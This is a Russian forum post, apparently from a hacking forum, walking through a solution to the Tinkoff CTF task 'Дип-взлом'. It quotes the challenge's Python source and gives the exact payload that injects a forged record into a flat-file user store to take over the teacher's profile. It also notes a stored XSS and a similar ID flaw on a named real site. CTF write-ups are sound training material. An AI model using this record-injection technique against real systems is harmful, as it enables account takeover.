Интересное задания Tinkoff CTF Дип-взлом

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Приветствую вас
После прочтения статьи https://xss.is/threads/113044/ я решил проверить свои навыки и решить задачи которые предоставил Тинькофф.
Первая задача, довольно легкая решается за 15 минут, все дело в пути картинки он содержит SHA-256 шифрование, он же и ID, генерируем SHA-256 значение 3 и получаем флаг, это не интересно
Решил задачи Проклятый старый сайт и Мисс Фрод, там надо кодить и это не интересно, банальные задачи для кодера, мало хакерства.
А вот задача Дип-взлом уже из разряда "Хакера"
В чем суть надо получить доступ в профиль преподавателя для этого нам дают исходный код платформы.
После регистрации нас перебросит суда https://t-cutaway-o78hk6as.spbctf.net/card
Для идентификации пользователя используется метод JWT

Код: Скопировать в буфер обмена
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJwcm9maWxlX2lkIjoiNzZlYzEwYTY3ZDkxNWVlMjBhMjYzNWFmNTM1YTNkZDMiLCJleHAiOjE3MTQ1MDAyMzR9.RWsCLkdicYJ1zJrq0pgSpmyy0cINHGUr-j-3LevDkpI
Внутри мы видим
Код: Скопировать в буфер обмена
Код:
{
  "profile_id": "76ec10a67d915ee20a2635af535a3dd3",
  "exp": 1714500234
}
Сам JWT использует алгоритм HS256. Первая мысль найти токен JWT в исходниках.
Посмотрев исходники находим такой файл config.py
Код: Скопировать в буфер обмена
Код:
import os

from pydantic_settings import BaseSettings

class Settings(BaseSettings):
    BASE_DIR: str = os.path.abspath(os.path.dirname(__file__))

    DATABASE_FILE: str = os.getenv("DATABASE_FILE", "database/profiles.txt")

    SECRET_KEY: bytes = os.getenv("SECRET_KEY", os.urandom(10))

    RECAPTCHA_SECRET_KEY: str = os.getenv("RECAPTCHA_SECRET_KEY")

settings = Settings()
SECRET_KEY использует рандомный ключ 10 байт. Эти байты могут содержать любые значения от 0 до 255. Взлом ключа пару десятков лет, явно вариант не наш.
Дальше анализируем код и находим файл для регистрации.
А именно вот это строка
Код: Скопировать в буфер обмена
Код:
@field_validator('descriptions')
    def validate_descriptions(cls, v):
        pattern = re.compile(r"^[\S ]*$")
        if not pattern.match(v):
            raise PydanticCustomError(
                "string_pattern_mismatch",
                "Поле должно соответствовать шаблону '{pattern}'",
                dict(pattern=pattern.pattern))
Эта строка пропускает почти любые символы без экранизации, а значит можно вставить XSS
Спойлер: XSS
xss.jpg

У нас есть хранимая XSS и если профиль можно было просматривать, то мы бы скормили наш профиль преподавателю и украли бы его JWT сессию, но увы ищем дальше.

Как мы теперь поняли поле descriptions является уязвимым местом, но попытки провести SQL инъекции не привели к чтению базы данных. И стоит еще посмотреть исходники.

После не долгих поисков находим тот самый заветный файл
Спойлер: Много кода
Код: Скопировать в буфер обмена
Код:
import re
import hashlib
from typing import Optional
from datetime import datetime, timedelta, UTC

from fastapi import Depends, HTTPException, status
from fastapi.security import OAuth2PasswordBearer
from passlib.context import CryptContext
from jose import JWTError, jwt

from app.config import settings
from app.schemas import ProfileCreateSchema, ProfileLoginSchema, ProfileDataSchema

ALGORITHM = "HS256"

pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
oauth2_scheme = OAuth2PasswordBearer(tokenUrl="api/login")

class Database:
    def __init__(self, file_path):
        self.file_path = file_path

        with open(self.file_path, 'a') as file:
            pass

        if not self.check_exists('prepRod1970'):
            with open(self.file_path, 'a') as file:
                file.write("Антон:Александрович:prepRod1970:<bcrypt-hash-REDACTED>:e44341f22af741240fea9c98277e1430:Мужчина в полном рассвете сил. ПрепРодаватель. Продам диплом на любую тему. Недорого. Ваш промокод на первую покупку: tctf{REDACTED}\n")

    def register_profile(self, profile: ProfileCreateSchema) -> str:
        hashed_password = pwd_context.hash(profile.password)
        profile_id = hashlib.md5(profile.username.encode()).hexdigest()

        with open(self.file_path, 'a') as file:
            file.write(f"{profile.first_name}:{profile.second_name}:{profile.username}:{hashed_password}:{profile_id}:{profile.descriptions or ''}\n")

        return profile_id

    def login_profile(self, profile: ProfileLoginSchema) -> Optional[str]:
        with open(self.file_path, 'r') as file:
            for line in file.read().splitlines():
                match = re.search(rf"^.*?:.*?:{profile.username}:(.*?):(.*?):.*?$", line)

                if match:
                    hashed_password, profile_id = match.groups()

                    try:
                        if pwd_context.verify(profile.password, hashed_password):
                            return profile_id
                    except:
                        return None
        return None
    
    def check_exists(self, username: str) -> bool:
        with open(self.file_path, 'r') as file:
            for line in file.read().splitlines():
                match = re.match(rf"^.*?:.*?:{username}:.*?:.*?:.*?$", line)
                if match: return True
            return False

    def get_profile_data(self, profile_id: str) -> Optional[ProfileDataSchema]:
        with open(self.file_path, 'r') as file:
            for line in file.read().splitlines():
                match = re.search(rf"^(.*?):(.*?):.*?:.*?:{profile_id}:(.*?)$", line)

                if match:
                    first_name, second_name, descriptions =  match.groups()

                    return ProfileDataSchema(first_name=first_name, second_name=second_name, descriptions=descriptions, profile_id=profile_id)
        return None

db = Database(settings.DATABASE_FILE)

def create_access_token(data: dict, expires_delta: Optional[timedelta] = None) -> str:
    to_encode = data.copy()
    if expires_delta:
        expire = datetime.now(UTC) + expires_delta
    else:
        expire = datetime.now(UTC) + timedelta(minutes=15)
    to_encode.update({"exp": expire})
    encoded_jwt = jwt.encode(to_encode, settings.SECRET_KEY, algorithm=ALGORITHM)
    return encoded_jwt

async def validate_token(token: str = Depends(oauth2_scheme)):
    credentials_exception = HTTPException(
        status_code=status.HTTP_401_UNAUTHORIZED,
        detail="Could not validate credentials",
        headers={"WWW-Authenticate": "Bearer"},
    )
    try:
        payload = jwt.decode(token, settings.SECRET_KEY, algorithms=[ALGORITHM])
        profile_id: str = payload.get("profile_id")
        if profile_id is None:
            raise credentials_exception
    except JWTError:
        raise credentials_exception
    profile = db.get_profile_data(profile_id)
    if not profile:
        raise credentials_exception
    return profile
В этом коде очень много интересного.
1.
Код: Скопировать в буфер обмена
Код:
if not self.check_exists('prepRod1970'):

            with open(self.file_path, 'a') as file:

                file.write("Антон:Александрович:prepRod1970:<bcrypt-hash-REDACTED>:e44341f22af741240fea9c98277e1430:Мужчина в полном рассвете сил. ПрепРодаватель. Продам диплом на любую тему. Недорого. Ваш промокод на первую покупку: tctf{REDACTED}\n")
Это строка содержит профиль преподавателя , в нем есть его логин, ID и наш флаг.
2. Теперь мы знаем как мы записываемся в базе данных {profile.first_name}:{profile.second_name}:{profile.username}:{hashed_password}:{profile_id}:{profile.descriptions or ''}
3. А вот и уязвимая строка file.write(f"{profile.first_name}:{profile.second_name}:{profile.username}:{hashed_password}:{profile_id}:{profile.descriptions or ''}\n"
Эта строка использует метод write объекта файла для записи данных в файл базы данных без какой-либо проверки или обработки. Поля first_name, second_name, username, hashed_password, profile_id и descriptions вставляются в файл в том виде, в котором они были получены, без фильтрации или экранирования.

Как видно, у нас есть ID преподавателя e44341f22af741240fea9c98277e1430 если мы сможем зарегистрироваться с таким ID то получим доступ в его профиль.
Атака на JWT не пройдет, а значит мы должны записать в базу данных нового пользователя с нужным ID.

Если еще не забыли поле descriptions не фильтрует данные и записывает все напрямую в базу данных, таким образом мы можем записать нового пользователя в базу данных.
Приступим к реализации.

Name:secondName:LoginHackersXSSis:$2a$12$iA3ISW2OwVh2TzngJI3RfOjM9EpOixPtqauhtpDsdhYOyVR0O6V/S:e44341f22af741240fea9c98277e1430:XSSis
Что мы сделали. Написали первое имя , второе имя указали логин LoginHackersXSSis потом зашифровали наш пароль в формате bcrypt, есть много сайтов для шифрования онлайн, взяли ID преподавателя и заполнили поле profile.descriptions, всё через разделитель. Пора пробовать в деле.
Спойлер: Регистрация
reg.jpg

В поле регистрации указываем любые данные для регистрации, они нам не нужны.
Авторизуемся мы уже по другим данным логин LoginHackersXSSis пароль LoginHackersXSSis

Спойлер: Флаг получен
flag.jpg


Я считаю, что эта задача была интересная и действительно встречается на сайтах. Такая уязвимость была на сайте 4lapy.ru во время регистрации мы могли указать произвольный ID в адресной строке и активировать профиль, таким образом получить доступ в любой профиль.
Что думаете по поводу этого задания, пиши в комментариях.
 
Сверху Снизу